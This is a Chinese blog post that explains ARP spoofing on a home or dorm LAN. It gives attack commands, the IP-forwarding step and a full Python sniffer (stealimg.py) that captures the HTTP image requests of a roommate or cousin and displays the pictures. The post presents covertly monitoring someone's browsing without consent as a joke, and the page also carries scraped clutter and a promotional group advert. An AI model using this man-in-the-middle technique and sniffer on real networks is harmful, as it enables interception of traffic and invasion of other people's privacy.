您好, 欢迎来到 !    登录 | 注册 | | 设为首页 | 收藏本站

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

5b51 2022/1/14 8:24:58 python 字数 8223 阅读 800 来源 www.jb51.cc/python

序 这篇文章研究了arp协议,并且利用python编程实现一次简单的局域网arp攻击,抓取室友网上浏览的图片(滑稽脸)

概述

这篇文章研究了arp协议,并且利用Python编程实现一次简单的局域网arp攻击,抓取室友网上浏览的图片(滑稽脸)

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

二、arp协议研究

在进行arp攻击之前,先来研究一下arp协议

进群:548377875   即可获取数十套PDF哦!

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

1.arp协议数据包

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

局域网内所有机器接收此arp请求,如果发现请求的ip为自己的ip便会向请求机器发送arp响应,将自己的MAC地址带入arp响应包单播发送给请求的机器,arp响应包主要字段如下

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

同样的网关在不断接受到此arp响应时也会不断的更新自己的arp缓存去建立错误的关系,我们的kali攻击机便可以双向的截获流量

4.用python实现arp攻击

所需的python第三方库

scapy库:scapy是一个可用于网络嗅探的非常强大的第三方库。可以伪造,嗅探或发送网络数据包,这这里我们使用scapy库伪造arp响应包并发送,首先安装scapy库,kali自带

pip install scapy

模拟攻击环境,一个真实的局域网,就是我们寝室

5.编写python代码

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

6.脚本使用到的scapy库中的几个函数

get_if_hwaddr("本地网卡名称(eth0/wlan0)") 根据所选择的本地网卡获取相应的本地网卡的MAC地址

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

所以我们这样输入可以双向的欺骗网关和目标机器完中间人攻击

python arpattack.py -i 网卡 -t 要攻击的目标的ip地址 -g 网关ip

输入

python arpattack.py -i wlan0 -t 192.168.0.8 -g 192.168.0.1

选择无线网卡wlan0的MAC地址去欺骗室友的电脑和网关路由器,如果我和室友都插了网线,就要选择eth0

运行脚本便会不断的向室友的电脑和网关发送arp响应包进行双向欺骗,效果如下

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

这时我们截获了室友电脑和网关之间的流量,使其不能相互通信,完成了arp断网

echo "1">/proc/sys/net/ipv4/ip_forward

开启流量转发,这时室友和网关正常通讯,但是流量会经过我们的网卡

接下来用python编写代码查看室友电脑浏览的网页图片,其实不难,因为浏览图片一般都是向服务器发送一次请求图片的http请求,所以只需从经过我们网卡的流量中过滤tcp80端口的数据包(http协议),将数据包的头部层层去掉,最后便能得到应用层的http数据包,在利用正则表达式将http://*.jpg筛选出来即可知道室友请求了哪些图片,python的pcap库和dpkt库可以使我们很容易的得到电脑网卡流量中的http应用层数据包

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

python代码如下stealimg.py

import pcap

import dpkt

import re

import requests

from PIL import Image

from io import BytesIO

from optparse import OptionParser

import sys

urllist=[]

def main():

usage="Usage: [-i interface]"

parser=OptionParser(usage)

parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')

(options,args)=parser.parse_args()

if options.interface:

interface=options.interface

pc=pcap.pcap(interface)

pc.setfilter('tcp port 80')

for ptime,pdata in pc:

getimg(pdata)

else:

parser.print_help()

sys.exit(0)

def getimg(pdata):

global urllist

p=dpkt.ethernet.Ethernet(pdata)

if p.data.__class__.__name__=='IP':

if p.data.data.__class__.__name__=='TCP':

if p.data.data.dport==80:

pa=re.compile(r'GET (.*?.jpg)')#|.*?.png|.*?.gif

img=re.findall(pa,p.data.data.data)

if img!=[]:

lines=p.data.data.data.split(' ')

for line in lines:

if 'Host:' in line:

url='http://'+line.split(':')[-1].strip()+img[-1]

if url not in urllist:

urllist.append(url)

if 'Referer:' in p.data.data.data:

for line in lines:

if 'Referer:' in line:

referer=line.split(':')[-1].strip()

print url

r=requests.get(url,headers={'Referer':referer})

img=Image.open(BytesIO(r.content))

img.show()

else:

r=requests.get(url)

img=Image.open(BytesIO(r.content))

img.show()

else:

pass

if __name__=='__main__':

main()

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸

总结

以上是编程之家为你收集整理的表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸全部内容,希望文章能够帮你解决表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸所遇到的程序开发问题。


如果您也喜欢它,动动您的小指点个赞吧

除非注明,文章均由 laddyq.com 整理发布,欢迎转载。

转载请注明:
链接:http://laddyq.com
来源:laddyq.com
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。


联系我
置顶